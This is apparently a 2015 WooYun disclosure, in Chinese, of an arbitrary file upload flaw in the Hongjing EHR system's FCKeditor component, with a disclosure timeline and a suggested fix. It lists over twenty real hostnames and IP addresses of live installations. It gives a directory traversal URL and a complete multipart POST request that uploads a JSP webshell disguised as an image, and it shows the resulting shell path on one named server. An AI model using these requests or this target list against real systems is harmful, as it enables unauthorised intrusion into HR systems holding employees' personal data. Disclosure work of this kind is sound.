当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098207

漏洞标题:宏景EHR系统任意上传getshell

相关厂商:北京宏景世纪软件股份有限公司

漏洞作者: scanf

提交时间:2015-03-02 13:11

修复时间:2015-06-04 17:18

公开时间:2015-06-04 17:18

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向第三方安全合作伙伴开放
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

好多都是国企呀...

详细说明:

存在漏洞的是 北京宏景世纪软件股份有限公司研发的宏景EHR系统
公司官网:http://www.hjsoft.com.cn/
官方大量政企高端用户:http://www.hjsoft.com.cn/2525/1040/index.shtml
官网的不能上传就不用官网做演示了.
部分案例

60.190.203.25:59999/templates/index/hrlogon.jsp
www.njncc.com:8089/templates/index/hrlogon.jsp
renshiguanli.sdflc.com/templates/index/hrlogon.jsp
202.118.223.214:8888/templates/index/hrlogon.jsp
202.149.229.6:8080/templates/index/hrlogon.jsp
hr.bjn3cc.com/templates/index/hrlogon.jsp
hr.bcdh.com.cn:8088/templates/index/hrlogon.jsp
eis.zzdyjz.com:9999/templates/index/hrlogon.jsp
ehr.shimaoco.com/templates/index/hrlogon.jsp
hr.bmec.net/templates/templates/index/hrlogon.jsp
hr.gxjgjt.com/templates/index/hrlogon.jsp
ehr.hongkun.com.cn/templates/index/hrlogon.jsp
www.cnbmehr.com:8080/templates/index/hrlogon.jsp
115.238.111.105:8080/templates/index/hrlogon.jsp
hr.myfp.cn:8585/templates/index/hrlogon.jsp
ehr.topsearch.com.hk/templates/index/hrlogon.jsp
221.123.128.41/templates/index/hrlogon.jsp
202.205.112.6/templates/index/hrlogon.jsp
27.112.9.28:8081/templates/index/hrlogon.jsp
intranet.topsearch.com.hk/templates/index/hrlogon.jsp
218.64.68.150:8888/templates/index/hrlogon.jsp
hr.airport.gx.cn:8089/templates/index/hrlogon.jsp
61.133.218.206:8888/templates/index/hrlogon.jsp

漏洞证明:

这次用http://60.190.203.25:59999/示范

QQ截图20150224213806.jpg


目录遍历
2.getshell
POST POC

QQ截图20150224214532.jpg


这样就是上传成功了的

QQ截图20150224214741.jpg


得到shell地址 /UserFiles/File/x.jsp
拼接
http://60.190.203.25:59999/UserFiles/File/x.jsp

QQ截图20150224214920.jpg


官网理论也是可以getshell
随便找的

QQ截图20150224220123.jpg


POC

1.目录遍历POC:
http://www.test.com/fckeditor//editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../
2.抓包处http://125.62.63.64//fckeditor//editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector
getshell POC (post)
POST /fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.test.com/fckeditor/editor/filemanager/browser/default/frmupload.html
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------215111473017392
Content-Length: 124146
-----------------------------215111473017392
Content-Disposition: form-data; name="NewFile"; filename="x.jsp"
Content-Type: image/jpeg
JSP脚本
-----------------------------215111473017392--

修复方案:

修改/WEB-INF/web.xml处限制上传文件或者更换编辑器.

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-03-06 17:17

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无